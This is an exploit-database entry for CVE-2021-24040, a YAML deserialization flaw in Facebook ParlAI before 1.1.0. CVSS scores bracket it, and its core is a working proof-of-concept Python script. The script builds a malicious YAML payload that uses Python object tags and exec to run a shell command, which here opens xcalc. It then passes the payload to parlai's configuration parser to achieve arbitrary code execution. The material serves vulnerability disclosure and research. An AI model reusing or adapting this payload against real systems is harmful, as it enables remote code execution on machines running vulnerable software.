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HistorySep 13, 2021 - 12:00 a.m.

Facebook ParlAI 1.0.0 - Deserialization of Untrusted Data in parlai Vulnerability

2021-09-1300:00:00
Abhiram V
0day.today
196
facebook parlai
deserialization
untrusted data
vulnerability
python
framework
code execution
yaml
attack
arbitrary code
open source
dialogue datasets

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.115

Percentile

95.3%

# Exploit Title: Facebook ParlAI 1.0.0 -  Deserialization of Untrusted Data in parlai
# Exploit Author: Abhiram V
# Vendor Homepage: https://parl.ai/
# Software Link: https://github.com/facebookresearch/ParlAI
# Version: < 1.1.0
# Tested on: Linux
# CVE: CVE-2021-24040
# References : 
# https://github.com/facebookresearch/ParlAI/security/advisories/GHSA-m87f-9fvv-2mgg
# | https://anon-artist.github.io/blogs/blog3.html |

############################################################################

Introduction
ParlAI (pronounced β€œpar-lay”) is a free, open-source python framework for
sharing, training and evaluating AI models on a variety of openly available
dialogue datasets.

############################################################################

Vulnerability details

############################################################################

Description
ParlAI was vulnerable to YAML deserialization attack caused by unsafe
loading which leads to Arbitrary Code Execution.

Proof of Concept

Create the following PoC file (exploit.py)

import os
#os.system('pip3 install parlai')
from parlai.chat_service.utils import config
exploit = """!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('xcalc')"
"""
open('config.yml','w+').write(exploit)
config.parse_configuration_file('config.yml')

Execute the python script ie, python3 exploit.py

Impact
Code Execution

############################################################################

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.115

Percentile

95.3%